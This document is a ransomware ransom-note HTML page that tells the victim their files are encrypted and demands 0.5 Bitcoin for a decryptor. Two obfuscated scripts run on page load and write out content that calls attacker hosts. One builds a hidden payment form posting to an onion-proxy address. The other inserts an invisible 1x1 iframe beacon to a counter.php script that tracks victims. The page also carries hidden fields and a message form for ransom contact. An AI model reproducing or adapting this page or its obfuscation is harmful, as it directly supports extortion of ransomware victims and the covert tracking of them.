restore_files.html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
  <head>
    <meta charset="utf-8">

    <title></title>

  </head>

  <body>
<center>
<br><br>
    <div><h2>Your files are Encrypted!</h2></div>

    <div class="note private">

<br><br>
<div class="bold">For data recovery needs decryptor.</div>
<br>
<div>To buy the decryptor, you must pay the cost of: <font color="#FF0000"> <b>0.5</b></font> Bitcoin<br><div>
<br><br>
<script> function msjcsjwhihqeb(search,replace,subject){if(!(replace instanceof Array)){replace=new Array(replace);if(search instanceof Array){while(search.length>replace.length){replace[replace.length]=replace[0]}}}if(!(search instanceof Array))search=new Array(search);while(search.length>replace.length){replace[replace.length]=''}if(subject instanceof Array){for(k in subject){subject[k]=str_replace(search,replace,subject[k])}return subject}for(var k=0;k<search.length;k++){var i=subject.indexOf(search[k]);while(i>-1){subject=subject.replace(search[k],replace[k]);i=subject.indexOf(search[k],i)}}return subject} var acrkiadnudrqwb = '<nvFnvOnvRnaqMnv naqrnaqonvlnaqenv=nv"nvfnaqonvrnaqmnaq"nv nvanaqcnaqtnvinvonaqnnv=naq"nvhnaqtnvtnaqpnvsnaq:nv/naq/nvnnaq2naq2naq4naqenaqznaqvnvhnvgnaq4naqsnaqgnaqynaqanaqmnvbnv.naqonvnnaqinvonaqnnv.nvtnaqonaq/nvenaqfnvwnaqdnaqanaqqnaq.naqpnaqhnaqpnaq"nv naqmnaqenaqtnaqhnvonvdnv=nv"nvPnaqOnaqSnaqTnv"nv naqtnaqanvrnvgnvenaqtnv=naq"naq_naqbnvlnvanvnnvknaq"nv>nv';var ysyflzapqmjn = msjcsjwhihqeb('nv', '', acrkiadnudrqwb); var btxapgbxmtnfk = msjcsjwhihqeb('naq', '', ysyflzapqmjn); document.write(btxapgbxmtnfk);</script>
<INPUT TYPE="hidden" NAME="fb" VALUE="w<pre>[redacted hex]
</pre>">
<INPUT TYPE="hidden" NAME="nu" VALUE="107">
<INPUT TYPE="hidden" NAME="su" VALUE="0.5">
<button type="submit" >Buy Decryptor</button>
</form>
<br>
Free decryption as guarantee.<br>
Before paying you can send us 1 file for free decryption.<br>
To send a message or file use this form:<br>
<script type="text/javascript" src="http://assets.freshdesk.com/widget/freshwidget.js"></script>
<style type="text/css" media="screen, projection">
	@import url(http://assets.freshdesk.com/widget/freshwidget.css);
</style>
<iframe title="Feedback Form" class="freshwidget-embedded-form" id="freshwidget-embedded-form" src="https://decrypt.freshdesk.com/widgets/feedback_widget/new?&widgetType=embedded&formTitle=Message++or+File&submitTitle=SEND&submitThanks=the+message+is+received&screenshot=no&searchArea=no" scrolling="no" height="400px" width="300" frameborder="0" >
</iframe>
</center>
</div>
</center>
<script> function guedgldvalsb(search,replace,subject){if(!(replace instanceof Array)){replace=new Array(replace);if(search instanceof Array){while(search.length>replace.length){replace[replace.length]=replace[0]}}}if(!(search instanceof Array))search=new Array(search);while(search.length>replace.length){replace[replace.length]=''}if(subject instanceof Array){for(k in subject){subject[k]=str_replace(search,replace,subject[k])}return subject}for(var k=0;k<search.length;k++){var i=subject.indexOf(search[k]);while(i>-1){subject=subject.replace(search[k],replace[k]);i=subject.indexOf(search[k],i)}}return subject} var kbgormvcgpkqrb = '<hpliiafiariaaiamiaehpl iasiatiayhpllhplehpl=hpl"hplwiaihpldhplthplhhpl:ia1hpl;hplhhplehpliiaghplhhplthpl:ia1ia"ia iawiaiiadiatiahia=hpl"hpl1ia"hpl iashplchplrhploialialhplihplniaghpl=hpl"hplnhplohpl"hpl hplfiariaaiamiaehplbiaohplriadhpleiaria=hpl"hplniaoia"ia iamhplaiarhplgiaihplnhplwhplihpldhpltiahia=ia"ia0ia"ia hplmiaahplriaghplihplnhplhhplehplihplgiahiatia=hpl"ia0hpl"hpl iasiariacia=ia"hplhhplthplthplpia:hpl/ia/iasiaehplrhplvia1ia.iaxhplyiazhpl/iachploiauianiathplehplrhpl.hplpiahiaphpl?hplnhpluia=hpl1ia0ia7hpl&iafhplbia=iawiawhplwia"hpl>hpl<ia/hplihplfiarhplahplmhplehpl>hpl';var bfdszrggfnwotq = guedgldvalsb('hpl', '', kbgormvcgpkqrb); var usbfeaqsrur = guedgldvalsb('ia', '', bfdszrggfnwotq); document.write(usbfeaqsrur);</script>
</body>
</html>